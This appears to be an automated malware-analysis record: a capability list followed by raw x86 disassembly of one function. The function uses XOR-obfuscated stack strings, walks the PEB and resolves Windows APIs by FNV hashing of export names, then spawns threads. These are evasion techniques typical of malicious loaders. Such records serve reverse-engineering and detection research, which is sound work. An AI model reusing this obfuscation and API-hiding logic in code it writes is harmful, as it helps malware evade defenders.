Function at 0x414570
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Create thread
Encode data using xor
Get kernel32 base address
Get number of processors
Get process heap force flags
Hash data using fnv
Resolve function by parsing pe exports
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x448
mov eax, dword [0x421008]
xor eax, esp
mov dword [esp + 0x444], eax
push esi
push edi
mov eax, dword [ebp + 8]
mov cl, 0x17
mov dword [esp + 0x14], eax
mov dl, 1
mov byte [esp + 0xb8], 0x64
mov al, 0x11
xor al, byte [esp + 0xb8]
mov ah, 0x16
xor cl, byte [esp + 0xb8]
mov ch, 0x57
mov byte [esp + 0xb9], al
mov dh, 0x56
mov byte [esp + 0xba], cl
mov cl, byte [esp + 0xb8]
mov byte [esp + 0x1b], 0x4a
xor ah, cl
mov al, byte [esp + 0x1b]
xor dl, cl
xor al, cl
mov byte [esp + 0x18], 0
mov byte [esp + 0xbf], al
xor ch, cl
mov al, byte [esp + 0x18]
xor dh, cl
xor al, cl
mov byte [esp + 0x19], 8
mov byte [esp + 0xc0], al
mov al, byte [esp + 0x19]
xor al, cl
mov byte [esp + 0x1a], 8
mov byte [esp + 0xc1], al
mov al, byte [esp + 0x1a]
xor al, cl
mov byte [esp + 0xbc], ah
mov byte [esp + 0xc2], al
mov eax, dword fs:[0x30]
mov byte [esp + 0xc3], 0
mov byte [esp + 0xbb], dl
mov byte [esp + 0xbd], ch
mov byte [esp + 0xbe], dh
mov byte [esp + 0xc3], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [esp + 0x2c], ecx
cmp ecx, esi
je 0x4146c8
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4146c8
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop word [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x28], ecx
dec edi
mov esi, 0x949bce0b
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4146bd
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4146a0
cmp esi, 0x5663ef4d
je 0x4146cc
mov ecx, dword [esp + 0x28]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x414680
mov eax, dword [eax]
jmp 0x414652
mov eax, dword [esp + 0x2c]
mov edx, dword [esp + 0x1c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0xb9]
add eax, edx
push ecx
call eax
mov dword [0x42181c], eax
mov cl, 0x24
xor al, al
mov byte [esp + 0xc4], 0x57
xor cl, byte [esp + 0xc4]
mov dl, 0x65
mov byte [esp + 0xcf], al
mov ah, 8
xor al, byte [esp + 0xc4]
mov dh, dl
mov byte [esp + 0xc5], al
mov ch, 0x64
mov byte [esp + 0xc6], cl
mov cl, byte [esp + 0xc4]
mov byte [esp + 0x1a], 0x79
xor ah, cl
mov al, byte [esp + 0x1a]
xor dl, cl
xor al, cl
mov byte [esp + 0x19], 0x33
mov byte [esp + 0xcb], al
xor ch, cl
mov al, byte [esp + 0x19]
xor dh, cl
xor al, cl
mov byte [esp + 0x18], 0x3b
mov byte [esp + 0xcc], al
mov al, byte [esp + 0x18]
xor al, cl
mov byte [esp + 0x1b], 0x3b
mov byte [esp + 0xcd], al
mov al, byte [esp + 0x1b]
xor al, cl
mov byte [esp + 0xc8], ah
mov byte [esp + 0xce], al
mov eax, dword fs:[0x30]
mov byte [esp + 0xc7], dl
mov byte [esp + 0xc9], ch
mov byte [esp + 0xca], dh
mov byte [esp + 0xcf], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x28], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [esp + 0x2c], ecx
cmp ecx, esi
je 0x414828
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x414828
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0x4d4fe1a0
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41481d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x414800
cmp esi, 0xac1783f2
je 0x41482c
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4147e0
mov eax, dword [eax]
jmp 0x4147b4
mov eax, dword [esp + 0x2c]
mov edx, dword [esp + 0x28]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0xc5]
add eax, edx
push ecx
call eax
mov dword [0x421814], eax
mov dl, 0x4f
mov dword [esp + 0x100], 0x3d2a044f
xor ecx, ecx
mov dword [esp + 0x104], 0x7c232a21
mov dword [esp + 0x108], 0x232b617d
mov word [esp + 0x10c], 0x23
lea eax, [esp + 0x101]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xc
jae 0x41489e
mov dl, byte [esp + 0x100]
jmp 0x414885
mov eax, dword fs:[0x30]
mov byte [esp + 0x10d], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x28], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [esp + 0x2c], ecx
cmp ecx, esi
je 0x414928
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x414928
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop word [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0xe6cc28f5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41491d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x414900
cmp esi, 0xd0ab89f
je 0x41492c
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4148e0
mov eax, dword [eax]
jmp 0x4148b2
mov eax, dword [esp + 0x2c]
mov edx, dword [esp + 0x28]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x101]
add eax, edx
push ecx
call eax
mov dword [0x421818], eax
mov dl, 0x5a
mov dword [esp + 0xe0], 0x3f32095a
xor ecx, ecx
mov dword [esp + 0xe4], 0x68693636
mov dword [esp + 0xe8], 0x36363e74
mov byte [esp + 0xec], 0
lea eax, [esp + 0xe1]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xb
jae 0x41499c
mov dl, byte [esp + 0xe0]
jmp 0x414983
mov eax, dword fs:[0x30]
mov byte [esp + 0xec], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x28], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [esp + 0x2c], ecx
cmp ecx, esi
je 0x414a19
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x414a19
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0x3bcf50fe
mov cl, byte [edx]
inc edx
test cl, cl
je 0x414a0e
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4149f1
cmp esi, 0x77d08b10
je 0x414a1d
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4149d8
mov eax, dword [eax]
jmp 0x4149b0
mov eax, dword [esp + 0x2c]
mov edx, dword [esp + 0x28]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0xe1]
add eax, edx
push ecx
call eax
mov dword [0x421828], eax
mov dl, 0x25
mov dword [esp + 0xf0], 0x4c416225
xor ecx, ecx
mov dword [esp + 0xf4], 0x56504955
mov dword [esp + 0xf8], 0x4949410b
mov byte [esp + 0xfc], 0
lea eax, [esp + 0xf1]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xb
jae 0x414a8d
mov dl, byte [esp + 0xf0]
jmp 0x414a74
mov eax, dword fs:[0x30]
mov byte [esp + 0xfc], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x28], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [esp + 0x2c], ecx
cmp ecx, esi
je 0x414b18
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x414b18
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0xc937fdb7
mov cl, byte [edx]
inc edx
test cl, cl
je 0x414b0d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x414af0
cmp esi, 0x64874ba9
je 0x414b1c
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x414ad0
mov eax, dword [eax]
jmp 0x414aa1
mov eax, dword [esp + 0x2c]
mov edx, dword [esp + 0x28]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0xf1]
add eax, edx
push ecx
call eax
mov byte [esp + 0xac], 0x7c
mov cl, 0x18
mov al, 0x3b
mov byte [esp + 0x1a], cl
xor al, byte [esp + 0xac]
mov ah, 0x4f
xor cl, byte [esp + 0xac]
mov dl, 0x15
mov byte [esp + 0xad], al
mov ch, 0x4e
mov al, byte [esp + 0x1a]
mov dh, 0x52
mov byte [esp + 0xae], cl
mov cl, byte [esp + 0xac]
xor al, cl
mov byte [esp + 0x19], 0x10
mov byte [esp + 0xb3], al
xor ah, cl
mov al, byte [esp + 0x19]
xor dl, cl
xor al, cl
mov byte [esp + 0x18], 0x10
mov byte [esp + 0xb4], al
xor ch, cl
mov al, byte [esp + 0x18]
xor dh, cl
xor al, cl
mov byte [esp + 0xb0], ah
mov byte [esp + 0xb5], al
mov eax, dword fs:[0x30]
mov byte [esp + 0xb6], 0
mov byte [esp + 0xaf], dl
mov byte [esp + 0xb1], ch
mov byte [esp + 0xb2], dh
mov byte [esp + 0xb6], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x28], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [esp + 0x2c], ecx
cmp ecx, esi
je 0x414c59
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x414c59
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0xd61cc7e4
mov cl, byte [edx]
inc edx
test cl, cl
je 0x414c4e
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x414c31
cmp esi, 0xb4e8bdc6
je 0x414c5d
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x414c18
mov eax, dword [eax]
jmp 0x414bf0
mov eax, dword [esp + 0x2c]
mov edx, dword [esp + 0x28]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0xad]
add eax, edx
push ecx
call eax
mov dword [0x42182c], eax
mov dl, 0x21
mov dword [esp + 0x110], 0x57456021
xor ecx, ecx
mov dword [esp + 0x114], 0x12485140
mov dword [esp + 0x118], 0x4d450f13
mov word [esp + 0x11c], 0x4d
nop word [eax + eax]
lea eax, [esp + 0x111]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xc
jae 0x414cd9
mov dl, byte [esp + 0x110]
jmp 0x414cc0
mov eax, dword fs:[0x30]
mov byte [esp + 0x11d], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x28], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [esp + 0x2c], ecx
cmp ecx, esi
je 0x414d59
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x414d59
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0x3c9c0361
mov cl, byte [edx]
inc edx
test cl, cl
je 0x414d4e
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x414d31
cmp esi, 0xdb0db28b
je 0x414d5d
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x414d18
mov eax, dword [eax]
jmp 0x414cf0
mov eax, dword [esp + 0x2c]
mov edx, dword [esp + 0x28]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x111]
add eax, edx
push ecx
call eax
mov edx, dword [0x421818]
xor edi, edi
mov dword [0x421824], eax
mov eax, dword [edx + 0x3c]
mov ecx, dword [eax + edx + 0x78]
mov esi, dword [edx + ecx + 0x20]
lea eax, [edx + ecx]
mov dword [esp + 0x1c], eax
add esi, edx
mov ecx, dword [esi]
add ecx, edx
mov edx, 0x8ebdad3c
mov al, byte [ecx]
inc ecx
test al, al
je 0x414dd0
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x414db3
cmp edx, 0xd3869ba6
je 0x414ddc
mov edx, dword [0x421818]
inc edi
add esi, 4
jmp 0x414da3
mov eax, dword [esp + 0x1c]
mov edx, dword [0x421818]
push 0x104
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x244]
push ecx
add eax, edx
push 0
call eax
lea ecx, [esp + 0x240]
mov dword [esp + 0x120], 0
mov dword [esp + 0x130], 0
lea edx, [ecx + 2]
mov dword [esp + 0x134], 7
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x414e35
sub ecx, edx
lea eax, [esp + 0x240]
sar ecx, 1
push ecx
push eax
lea ecx, [esp + 0x128]
call fcn.0040bad0
mov edi, dword [esp + 0x130]
mov cl, 0x60
mov al, 0x3c
mov byte [esp + 0x24], cl
xor al, cl
mov byte [esp + 0x26], 0
sub esp, 0x18
mov byte [esp + 0x3d], al
mov edx, esp
mov byte [esp + 0x3e], 0
lea ecx, [esp + 0x3d]
lea esi, [ecx + 1]
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x414e98
sub ecx, esi
lea eax, [esp + 0x3d]
push ecx
push eax
mov ecx, edx
call fcn.0040be50
lea ecx, [esp + 0x240]
call fcn.00411ee0
mov esi, eax
add esp, 0x18
cmp dword [esi + 0x14], 8
jb 0x414ec7
mov esi, dword [esi]
mov edx, esi
lea ecx, [edx + 2]
nop dword [eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x414ed0
push dword [esp + 0x14]
sub edx, ecx
lea ecx, [esp + 0x124]
sar edx, 1
cmp dword [esp + 0x138], 8
push edx
cmovae ecx, dword [esp + 0x128]
push esi
mov esi, dword [esp + 0x13c]
mov edx, esi
push ecx
call fcn.0040c870
add esp, 0x10
mov dword [esp + 0x1b0], 0
mov dword [esp + 0x1c0], 0
mov dword [esp + 0x1c4], 7
lea ecx, [eax + 1]
cmp esi, ecx
jae 0x414f3b
call fcn.0040c280
sub esi, ecx
lea eax, [esp + 0x120]
cmp esi, edi
cmovb edi, esi
cmp dword [esp + 0x134], 8
push edi
cmovae eax, dword [esp + 0x124]
lea eax, [eax + ecx*2]
push eax
lea ecx, [esp + 0x1b8]
call fcn.0040bad0
mov edx, dword [esp + 0x134]
cmp edx, 8
jb 0x414fa8
mov ecx, dword [esp + 0x120]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x414f9e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414ffe
push edx
push ecx
call fcn.00418a88
add esp, 8
movaps xmm0, xmmword [esp + 0x1b0]
mov edx, dword [esp + 0x23c]
movaps xmmword [esp + 0x120], xmm0
movq xmm0, qword [esp + 0x1c0]
movq qword [esp + 0x130], xmm0
cmp edx, 8
jb 0x41500e
mov ecx, dword [esp + 0x228]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x415004
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x415004
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00418a88
add esp, 8
mov eax, dword [esp + 0x130]
mov dword [esp + 0x170], 0
mov dword [esp + 0x180], 0
mov dword [esp + 0x184], 7
lea ecx, [eax - 4]
cmp eax, ecx
cmovb ecx, eax
cmp dword [esp + 0x134], 8
lea eax, [esp + 0x120]
cmovae eax, dword [esp + 0x120]
push ecx
push eax
lea ecx, [esp + 0x178]
call fcn.0040bad0
mov ecx, dword [0x4210c0]
cmp ecx, 8
jb 0x4150a2
mov eax, dword [0x4210ac]
lea ecx, [ecx*2 + 2]
cmp ecx, 0x1000
jb 0x415098
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414ffe
mov eax, edx
push ecx
push eax
call fcn.00418a88
add esp, 8
movups xmm0, xmmword [esp + 0x170]
mov edi, dword [0x421818]
xor edx, edx
mov dword [esp + 0x24], edx
movups xmmword [0x4210ac], xmm0
movq xmm0, qword [esp + 0x180]
movq qword [0x4210bc], xmm0
mov eax, dword [edi + 0x3c]
mov ecx, dword [eax + edi + 0x78]
mov esi, dword [ecx + edi + 0x20]
lea eax, [ecx + edi]
mov dword [esp + 0x1c], eax
add esi, edi
mov ecx, dword [esi]
mov edx, 0x15dd75cb
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x41510f
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4150f2
cmp edx, 0xb1e5627b
je 0x415118
inc dword [esp + 0x24]
add esi, 4
jmp 0x4150e2
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edi
add eax, edi
movzx eax, word [eax + edx*2]
mov ecx, dword [ecx + eax*4]
mov eax, 0x4210ac
add ecx, edi
cmp dword [esp + 0x184], 8
cmovae eax, dword [esp + 0x170]
push eax
push 1
push 0
call ecx
mov dword [0x421820], eax
xor edi, edi
mov eax, dword [0x421818]
mov ecx, dword [eax + 0x3c]
mov edx, dword [ecx + eax + 0x78]
mov esi, dword [edx + eax + 0x20]
lea ecx, [edx + eax]
mov dword [esp + 0x1c], ecx
add esi, eax
nop
mov ecx, dword [esi]
mov edx, 0x7015cee4
add ecx, eax
mov al, byte [ecx]
inc ecx
test al, al
je 0x41519d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x415180
cmp edx, 0xb662049b
je 0x4151a8
mov eax, dword [0x421818]
inc edi
add esi, 4
jmp 0x415170
mov eax, dword [esp + 0x1c]
mov edx, dword [0x421818]
push 0
push dword [0x421820]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
test eax, eax
je 0x4151db
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call fcn.00414360
test eax, eax
jne 0x41532a
mov edi, dword [0x42181c]
xor ecx, ecx
mov dword [esp + 0x10], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x1c], eax
mov esi, dword [eax + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0x694baa77
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x415233
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x415216
cmp edx, 0xe409d7e6
je 0x41523c
inc dword [esp + 0x10]
add esi, 4
jmp 0x415206
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
movaps xmm0, xmmword [0x41cfa0]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
mov dh, 0x4c
lea eax, [eax + ecx*4]
mov cl, 0x3e
mov esi, dword [eax + edi]
mov ch, cl
mov dl, cl
mov byte [esp + 0xa6], 0
mov al, 9
mov byte [esp + 0xa0], dh
mov ah, 0x23
mov byte [esp + 0xa6], 0
xor cl, dh
mov dword [esp + 0x164], 0x1c4e5348
xor ch, dh
mov byte [esp + 0xa2], cl
xor al, dh
mov byte [esp + 0xa5], ch
xor dl, dh
mov byte [esp + 0xa1], al
xor ah, dh
mov byte [esp + 0xa3], dl
movups xmmword [esp + 0x144], xmm0
add esi, edi
mov byte [esp + 0xa4], ah
movaps xmm0, xmmword [0x41d190]
xor ecx, ecx
movups xmmword [esp + 0x154], xmm0
mov dword [esp + 0x168], 0x59585351
mov byte [esp + 0x16c], 0
nop word [eax + eax]
mov al, byte [esp + 0x144]
xor byte [esp + ecx + 0x145], al
inc ecx
cmp ecx, 0x27
jb 0x4152f0
push 0x30
lea eax, [esp + 0xa5]
mov byte [esp + 0x170], 0
push eax
lea eax, [esp + 0x14d]
push eax
push 0
call esi
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call fcn.004174e0
push 4
call fcn.00418a53
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
lea ecx, [esp + 0x44]
add esp, 4
mov dword [eax], 0x413690
push ecx
push 0
push eax
push 0x40d6d0
push 0
push 0
call esi
add esp, 0x18
mov dword [esp + 0x3c], eax
test eax, eax
je 0x4160a2
mov ecx, dword [esp + 0x40]
test ecx, ecx
je 0x41609a
mov edi, dword [sym.imp.MSVCP140.dll__Thrd_detach]
push ecx
push eax
call edi
add esp, 8
test eax, eax
je 0x41538b
push eax
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
xorps xmm0, xmm0
push 4
movlpd qword [esp + 0x40], xmm0
call fcn.00418a53
add esp, 4
lea ecx, [esp + 0x38]
mov dword [eax], 0x405000
push ecx
push 0
push eax
push 0x40d6d0
push 0
push 0
call esi
add esp, 0x18
mov dword [esp + 0x34], eax
test eax, eax
je 0x41608a
mov ecx, dword [esp + 0x38]
test ecx, ecx
je 0x41609a
push ecx
push eax
call edi
add esp, 8
test eax, eax
je 0x4153e4
push eax
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
push 0
lea eax, [esp + 0x4c]
mov dword [esp + 0x4c], 1
push eax
lea eax, [esp + 0x4c]
mov dword [esp + 0x54], 0
xorps xmm0, xmm0
mov dword [esp + 0x58], 0
push eax
movlpd qword [esp + 0x40], xmm0
mov dword [esp + 0x60], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
call fcn.0040de50
mov al, 0x5c
mov byte [esp + 0xa0], 0x18
mov dl, al
mov byte [esp + 0x1a], 0x76
xor al, byte [esp + 0xa0]
mov cl, 0x2b
xor cl, byte [esp + 0xa0]
mov ch, 0x4f
mov byte [esp + 0xa1], al
mov dh, 0x71
mov al, byte [esp + 0x1a]
mov ah, 0x38
mov byte [esp + 0xa2], cl
xorps xmm0, xmm0
mov cl, byte [esp + 0xa0]
xor al, cl
mov byte [esp + 0x19], 0x7c
mov byte [esp + 0xa7], al
xor dl, cl
mov al, byte [esp + 0x19]
xor dh, cl
xor al, cl
mov byte [esp + 0x18], 0x77
mov byte [esp + 0xa8], al
xor ah, cl
mov al, byte [esp + 0x18]
xor ch, cl
xor al, cl
mov byte [esp + 0x1b], 0x6f
mov byte [esp + 0xa9], al
mov al, byte [esp + 0x1b]
xor al, cl
mov byte [esp + 0xa3], dl
sub esp, 0x18
mov byte [esp + 0xbe], dh
mov edx, esp
movlpd qword [esp + 0x74], xmm0
mov dword [esp + 0x7c], 0
movlpd qword [esp + 0x84], xmm0
movlpd qword [esp + 0x8c], xmm0
mov byte [esp + 0xbd], ch
lea ecx, [esp + 0xb9]
mov byte [esp + 0xc3], 0
lea esi, [ecx + 1]
mov byte [esp + 0xbc], ah
mov byte [esp + 0xc2], al
mov byte [esp + 0xc3], 0
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x415520
sub ecx, esi
lea eax, [esp + 0xb9]
push ecx
push eax
mov ecx, edx
call fcn.0040be50
lea ecx, [esp + 0x228]
call fcn.00411ee0
mov eax, dword [esp + 0x2c]
add esp, 0x18
mov edx, dword [0x42181c]
cmp dword [esp + 0x224], 8
mov dword [esp + 0x68], eax
lea eax, [esp + 0x210]
cmovae eax, dword [esp + 0x210]
xor edi, edi
mov dword [esp + 0x7c], eax
mov dword [esp + 0x58], 0
mov eax, dword [edx + 0x3c]
mov eax, dword [eax + edx + 0x78]
add eax, edx
mov dword [esp + 0x14], eax
mov esi, dword [eax + 0x20]
add esi, edx
nop dword [eax]
mov ecx, dword [esi]
add ecx, edx
mov edx, 0xf02f213b
mov al, byte [ecx]
inc ecx
test al, al
je 0x4155bd
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4155a0
cmp edx, 0xe6f89f1a
je 0x4155c9
mov edx, dword [0x42181c]
inc edi
add esi, 4
jmp 0x415590
mov esi, dword [esp + 0x14]
mov edx, dword [0x42181c]
push 0x7f00
push 0
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov edx, dword [0x42181c]
xor edi, edi
mov dword [esp + 0x70], eax
mov dword [esp + 0x78], 0
mov dword [esp + 0x5c], 0x4125d0
mov eax, dword [edx + 0x3c]
mov eax, dword [eax + edx + 0x78]
add eax, edx
mov dword [esp + 0x14], eax
mov esi, dword [eax + 0x20]
add esi, edx
nop
mov ecx, dword [esi]
add ecx, edx
mov edx, 0x81428a15
mov al, byte [ecx]
inc ecx
test al, al
je 0x41564d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x415630
cmp edx, 0xc7ad028d
je 0x415659
mov edx, dword [0x42181c]
inc edi
add esi, 4
jmp 0x415620
mov esi, dword [esp + 0x14]
lea eax, [esp + 0x58]
mov edx, dword [0x42181c]
push eax
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov edx, dword [0x42182c]
xor edi, edi
mov eax, dword [edx + 0x3c]
mov eax, dword [eax + edx + 0x78]
add eax, edx
mov dword [esp + 0x14], eax
mov esi, dword [eax + 0x20]
add esi, edx
nop dword [eax]
